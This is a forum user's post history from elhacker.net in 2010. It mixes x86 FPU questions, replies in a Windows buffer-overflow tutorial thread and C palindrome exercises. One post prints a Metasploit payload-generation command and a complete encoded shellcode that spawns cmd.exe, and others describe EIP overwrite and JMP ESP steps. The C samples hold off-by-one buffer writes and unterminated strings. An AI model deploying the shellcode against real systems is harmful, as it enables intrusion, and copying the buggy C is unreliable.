elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 [192] 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 ... 235
1911  Programación / ASM / Intruccion fcmovbe - Orientacion - FPU en: 17 Febrero 2010, 06:28 am
Bueno, estoy haciendo una investigación, sobre algunas instrucciones poco usuales de ASM, esto es para el análisis de un shellcode sacado con Metasploit, bueno no encuentro buenas referencias sobre la instrucción: fcmovbe

La tengo así en depurador, es AT&T

Código
  1. fcmovbe %st(0),%st

el original de Intel es:
Código
  1. fcmovbe %st,%st(0)

;-) Muchos tienen problemas par distinguir uno de otro pero bueno, eso no es el tema

He dado con esto:

Citar
Conditional move if below or equal
http://www.asmpedia.org/index.php?title=FCMOVBE

Y con algunos manuales de Intel, pero tienen entre 200 y 500 hojas y pfff de aqui a que leo todo para entenderlo, tengo una ligera idea, pero necesito que alguien me pueda confirmar, st es alguna especie de registro, cual es su proposito general.

Yo entiendo esto:
Citar
Si st(0) es memor o igual que st, entonces mueve st(0) a st
:xD no Entiendo.

Alguna buena referencia entendible.

Saludos y gracias
1912  Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows en: 17 Febrero 2010, 03:35 am
ese alpha_mixed solo te devuelve una Shellcode Alfanumerica, por eso te sale asi.

Por lo que veo es bastante facil generar shellcodes xDD

Código
  1. Anon@localhost % msfpayload windows/exec CMD=cmd Raw | msfencode -a x86 -b '\x00' -t c
  2. [*] x86/shikata_ga_nai succeeded, final size 144
  3.  
  4. unsigned char buf[] =
  5. "\x33\xc9\xb1\x1e\xba\xb1\xfc\x90\xfb\xdd\xc1\xd9\x74\x24\xf4"
  6. "\x5e\x31\x56\x0f\x83\xc6\x04\x03\x56\xba\x1e\x65\x07\x54\x9a"
  7. "\x86\xf8\xa4\xa8\xc2\xc4\x2f\xd2\xc9\x4c\x2e\xc4\x59\xe3\x28"
  8. "\x91\x01\xdc\x49\x4e\xf4\x97\x7d\x1b\x06\x46\x4c\xdb\x90\x3a"
  9. "\x2a\x1b\xd6\x45\xf3\x56\x1a\x4b\x31\x8d\xd1\x70\xe1\x76\x1e"
  10. "\xf2\xec\xfc\x41\xd8\xef\xe9\x18\xab\xe3\xa6\x6f\xf4\xe7\x39"
  11. "\x9b\x80\x0b\xb1\x5a\x7c\xba\x99\x78\x86\x7f\x7e\xb0\x70\x1f"
  12. "\xd7\xd6\xf7\x99\xe7\x9d\x48\x29\x83\xd2\x54\x9c\x18\x7a\x6d"
  13. "\x57\xe6\xf8\xad\x0d\x47\x97\xdd\x5b\x63\x38\x76\xc3\x92\x4c"
  14. "\x88\xa4\x95\xb6\xf6\x27\x0e\x39\xf3";
  15.  

Esa también sirve son 144 bytes

Solo se usa el -e x86/alpha_mixed cuando hay un filtro alfanumérico

Saludos
1913  Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows en: 16 Febrero 2010, 08:25 am
He ikary, pues no se cual era el problema con los parámetros y el Olly, pero ya ahorita te digo que solo ocupas saber con cuantos bytes sobrescribes EIP y con eso solo ocuparías las direcciones de system y de JMP esp

Con eso he logrado ejecutar el cmd.exe. Claro que tube problemas, lo explico en el post anterior.
1914  Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows en: 16 Febrero 2010, 07:06 am
a ok, era eso entonces, aunque si para el calc.exe se ocupo 164 bytes por que para el cmd.exe se necesitan 453 xD, segun recuerdo para el cmd.exe se necesita un mínimo de 29 bytes o algo asi recuerdo segun el texto de rojodos que se cita en el mismo documento de ikary.

Eso de general shellcodes mediante herramientas, esta bien cuando tenemos prisa, sin embargo en etapas de aprendizaje es bueno saber de donde vienen.

Seria interesante usar esa misma shellcode que muestras sin nececidad de cambiar el tamaño del buffer del programa vulnerable

Saludos

1915  Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows en: 16 Febrero 2010, 06:23 am
Hola que tal H-PHAMTOM

Una preguntilla, por que cambiar el buffer de 300 a 700?

Saludos


1916  Programación / Ejercicios / Re: Practiquemos C++ (juntos) en: 16 Febrero 2010, 04:39 am
LOL no me habia dado cuenta que el titulo dice "C++" xD, bueno acepto que me haga falta stdlib.h y string.h xD, en FreeBSD los tendría que poner a fuerza, pero "conio.h", micky123 no necesitas conio.h.

Ahora sobre ejercicios fáciles asi, pues no se me ocurren muchos pero ahi va uno:

Escribir un programa que lea un numero ROMANO en forma de cadena de caracteres y lo convierta en un numero Arábigo. Si ya esta repetido por ahi en las chinchetas propongan otro.

Saludos
 
 
1917  Programación / Ejercicios / Re: Practiquemos C++ (juntos) en: 16 Febrero 2010, 03:53 am
Si se del stdlib.h sin embargo ahorita estoy en winsucks y si me lo permite con el gcc del devcpp

Ahora con tu comentario de texto en mi input, es cierto pasan cosas raras, de hecho:

Código
  1. scanf("%d",&numero);

scanf es el que impide la entrada de texto con el formato "%d"


Aun así no procesa el texto como parte de la entrada

Saludos


edit

¿El que contesta el ejercicio propone otro?

Saludos
1918  Programación / Ejercicios / Re: Practiquemos C++ (juntos) en: 16 Febrero 2010, 03:35 am
Littlehorse tu código es mucho mas sencillo que el mio y mas facil de entender, sin embargo es posible ingresar también letras, ese seria "Textos capicua" xDD

Edit
Agrego codigo mas reducido, con la idea de Littlehorse

Código
  1. #include<stdio.h>
  2.  
  3. int main(int argc, char **argv) {
  4. int numero,len,capicua,I;
  5. char *cadena1,*cadena2;
  6. printf("Ingrese un numero: ");
  7. scanf("%d",&numero);
  8. cadena1 = (char*)calloc(18,sizeof(char));
  9. snprintf(cadena1,19,"%d",numero);
  10. len = strlen(cadena1);
  11. cadena2 = (char*)calloc(len,sizeof(char));
  12. I = 0;
  13. while(I < len) {
  14. cadena2[I] = cadena1[len -1 -I];
  15. I++;
  16. }
  17. if(strcmp(cadena1,cadena2) == 0)
  18. printf("Numero %d es capicua\n",numero);
  19. else
  20. printf("Numero %d NO es capicua\n",numero);
  21.  
  22. }

Saludos
1919  Programación / Ejercicios / Re: Practiquemos C++ (juntos) en: 16 Febrero 2010, 03:19 am
Aquí esta el código

Código
  1. #include<stdio.h>
  2.  
  3. int main(int argc, char **argv) {
  4. int numero,len,capicua,I;
  5. char *cadena;
  6. printf("Ingrese un numero: ");
  7. scanf("%d",&numero);
  8. cadena = (char*)calloc(18,sizeof(char));
  9. snprintf(cadena,19,"%d",numero);
  10. len = strlen(cadena);
  11. capicua = 1;
  12. I = 0;
  13. if((len % 2) == 0) {
  14. while(I <= (len/2)) {
  15. printf("comparando %c , %c\n",cadena[I],cadena[len - I -1]);
  16. if(cadena[I] != cadena[len - I -1]) {
  17. printf("Saliendo del ciclo\n");
  18. capicua = 0;
  19. break;
  20. }
  21. I++;
  22. }
  23. }
  24. else {
  25. while(I < ((len-1)/2)) {
  26. printf("comparando %c , %c\n",cadena[I],cadena[len - I -1]);
  27. if(cadena[I] != cadena[len - I -1]){
  28. printf("Saliendo del ciclo\n");
  29. capicua = 0;
  30. break;
  31. }
  32. I++;
  33. }
  34. }
  35. if(capicua)
  36. printf("Numero %d es capicua\n",numero);
  37. else
  38. printf("Numero %d NO es capicua\n",numero);
  39.  
  40. }

Lo he compilado con el gcc de devcpp



Saludos
1920  Seguridad Informática / Hacking / Re: [Manual] Buffer Overflow en Windows en: 15 Febrero 2010, 22:00 pm
ikary ahora que lo recuerdo, pudistes explotar el vulnerable mediante la linea de comando (los argumentos) ??'

Saludos
Páginas: 1 ... 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 [192] 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 ... 235
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines